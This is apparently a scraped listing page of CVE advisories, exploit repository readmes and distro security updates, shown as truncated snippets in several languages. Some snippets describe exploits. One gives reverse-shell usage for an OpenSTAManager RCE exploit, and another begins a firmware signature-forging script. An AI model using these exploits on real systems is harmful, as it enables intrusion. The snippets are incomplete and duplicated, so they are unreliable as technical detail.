CVE-2026-69190 Graylog: Manager-to-Owner privilege escalation on saved searches and dashboards

Graylog is a free and open log management platform. From 6.3.0 until 6.3.14, 7.0.9, and 7.1.4, the view update API for saved searches and dashboards permits a user with edit permission but without entity ownership to include a shareRequest that grants owner permissions to an arbitrary account. Th...

CVE-2026-62182 KubeEdge: ConfigUpdateJob updateFields enables remote shell injection and code execution on edge nodes

KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.21.0 until 1.21.2, 1.22.2, and 1.23.1, ConfigUpdateJob processing in edge/pkg/taskmanager/actions/configupdatejob.go concatenates authenticated user-controlled...

CVE-2026-34910-unifi-poc

UniFi OS CVE 概念実証 認可されたテストのための概念実証です。以下に特定された2つの経路を対象とします： CVE-2026-34910: パッケージ更新ハンドラを介して、コマンドインジェクションおよびリモートコード実行に至る可能性のある認証バイパス。 CVE-2026-34909: app-assetsエイリアスを介して任意ファイルの読み取りに至る可能性のあるパストラバーサル。 このスクリプトは、あなたが所有する、または明示的にテストを許可されたデバイスとネットワークのセキュリティ検証を目的としています。第三者のシステムに対して使用しないでください。 ステータス...

CVE-2026-77166

The emoji field in the page emoji update endpoint does not properly validate user input. By injecting long text and line breaks, the sidebar layout becomes broken and can hide other items...

CVE-2020-0688

CVE-2020-0688 Scanner これは、CVE-2020-0688 による脆弱な Exchange サーバーをチェックするためのちょっと汚いスクリプトです。 見た目は良くない PHP で書かれています。 注意: これは実際の CU アップデートがインストールされているかどうかのみをチェックします。バグ修正パッチがインストールされていることを意味するわけではありません。 必要条件 php-cli と php-curl が必要です。 使い方 まずリポジトリをクローンします: root@kitploit: git clone...

CVE-2021-26258

このリポジトリには、CVE-2021-26258 PoC 用のツールと補助ファイルが含まれています。脆弱性の詳細については、ブログ記事 を参照してください。 ファイル一覧 : rn.stg.original: Intel Killer に付属するオリジナルの .stg ファイル rn.xml.original: rnstg-tool を使用して rn.stg.original から抽出された .xml ファイル rncustom.xml: Discord.exe のネットワークアクセスを無効にし、RemoteRegistry サービスを開始するカスタム .xml ファイル...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager モジュールアップロード RCE モジュール更新エンドポイントでの未検証ZIPアップロードによる認証済みRCE。 影響を受けるバージョン: OpenSTAManager = 2.10.x 必要条件 pip install requests 使用方法 root@kitploit: Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444...

CVE-2024-22145

CVE-2024-22145 InstaWP Connect = 0.1.0.8 - 任意のオプション更新における認可不足（購読者以上） 説明: WordPress用プラグイン「InstaWP Connect – 1-click WP Staging & Migration」は、バージョン0.1.0.8以前において、savemanagementsettings関数に対する capability チェックが欠如しているため、データの不正な改変に対して脆弱です。これにより、認証された攻撃者（購読者以上のアクセス権を持つ）が、変更する root@kitploit: Severity: high...

CVE-2026-77166

The emoji field in the page emoji update endpoint does not properly validate user input. By injecting long text and line breaks, the sidebar layout becomes broken and can hide other items...

CVE-2026-77166

CVE-2026-77166 affects the emoji field in a web application's page emoji update endpoint , where improper input validation allows an authenticated user to inject long text and line breaks , breaking the sidebar layout and potentially hiding other items. The vulnerability is rated CVSS 3.0 2.4 (Lo...

CVE-2026-77166

The emoji field in the page emoji update endpoint does not properly validate user input. By injecting long text and line breaks, the sidebar layout becomes broken and can hide other items...

nuc-winring0-fix

Intel NUC WinRing0 脆弱なドライバ - 完全削除ガイド Windows Defender は、OpenHardwareMonitorLib.sys WinRing0 ドライバ を、CVE-2020-14979 により VulnerableDriver:WinNT/Winring0 としてフラグ付けします。このドライバは Intel の NUC Software Studio サービスにバンドルされており、Windows Update 経由で再インストールされます。 このリポジトリは恒久的な解決策を提供します。 問題点 1. Intel の...

CVE-2025-2266

🚨 CVE-2025-2266 — WordPress プラグインのエクスプロイト 🔍 脆弱性の概要 WordPress 用プラグイン Checkout Mestres do WP for WooCommerce は、バージョン 8.6.5 から 8.7.5 までにおいて、未認証の任意オプション更新の脆弱性 の影響を受けます。 脆弱な関数 cwmpUpdateOptions は適切な権限チェックが行われないため、未認証の攻撃者 が WordPress の任意のオプションを更新できる可能性があります。 ⚠️ リスクと悪用 攻撃者は以下のことが可能です： ユーザー登録を有効化する。...

CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

5. CVE-2026-1122 – 通过低阶点注入绕过 IoT 固件更新签名 概述 IoT 设备的 OTA 固件验证使用了存在缺陷的 Ed25519 实现，该实现不会拒绝包含小阶分量的公钥，从而允许攻击者为恶意固件伪造有效签名。 严重性： 严重（设备持久性失陷） 模拟（Python 与 C 验证器） root@kitploit: !/usr/bin/env python3 """ forgefirmware.py - Creates a malicious firmware image with forged Ed25519 signature. We exploit that the...

OPENSUSE-SU-2026:21897-1 Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues: Changes for govulncheck-vulndb: - Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z jscPED-11136. Go CVE Numbering Authority IDs added or updated with aliases: GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc GO-2026-6356...

CVE-2016-3309_Reloaded

Kernel Exploitation Case Study - Win10 x64 RS2 における「Wild」プールオーバーフロー CVE-2016-3309 Reloaded このGithubリポジトリには、最近パッチされた win32kfull!bFill 脆弱性のエクスプロイトが含まれています。PaletteまたはBitmapエクスプロイトを実行すると、影響を受けるシステム上でSYSTEM権限が得られます。このエクスプロイトは、Creators Update適用済みのWindows 10 x64 ビルド15063.540...

CVE-2026-24135

CVE-2026-24135: WikiパストラバーサルによるGogsの任意ファイル削除 重大度: 高 CVSS 7.5 影響を受けるソフトウェア: Gogs 修正バージョン: 0.13.4, 0.14.0+dev 勧告: GHSA-jp7c-wj6q-3qf2 パッチ: gogs/gogs8099 概要 Gogs（Goで書かれた人気のセルフホスト型Gitサービス）のセキュリティ監査中に、updateWikiPage 関数にパストラバーサル脆弱性を発見しました。これにより、wiki書き込み権限を持つ認証済みユーザーが、wiki編集フォームの oldtitle...

SUSE-SU-2026:23459-1 Security update for ucode-intel

This update for ucode-intel fixes the following issues: - Intel CPU Microcode was updated to the 20260812 release bsc1274785 - Removed MTL/06-aa-04/c0 due to functional issues observed when loading the MCU in some platforms. - Intel CPU Microcode was updated to the 20260811 release bsc1274785 -...

SUSE-SU-2026:23313-1 Security update for liboqs

This update for liboqs fixes the following issues: Changes in liboqs: Updated to 0.16.0: Deprecation notice: - SPHINCS+ was removed in 0.16.0. Security issues: - Fixed uninitialized encapsderand pointer dereference - CVE-2026-46344, CVE-2026-44518: Fixed out-of-bounds read in XMSS/XMSS^MT signatu...

SUSE-SU-2026:21434-1 Security update for helm

This update for helm fixes the following issues: Update to version 3.20.2. Security issued fixed: - CVE-2025-55199: specially crafted JSON Schema can lead to out of memory OOM termination bsc1248093. - CVE-2026-35206: specially crafted Chart will have contents extracted to immediate output...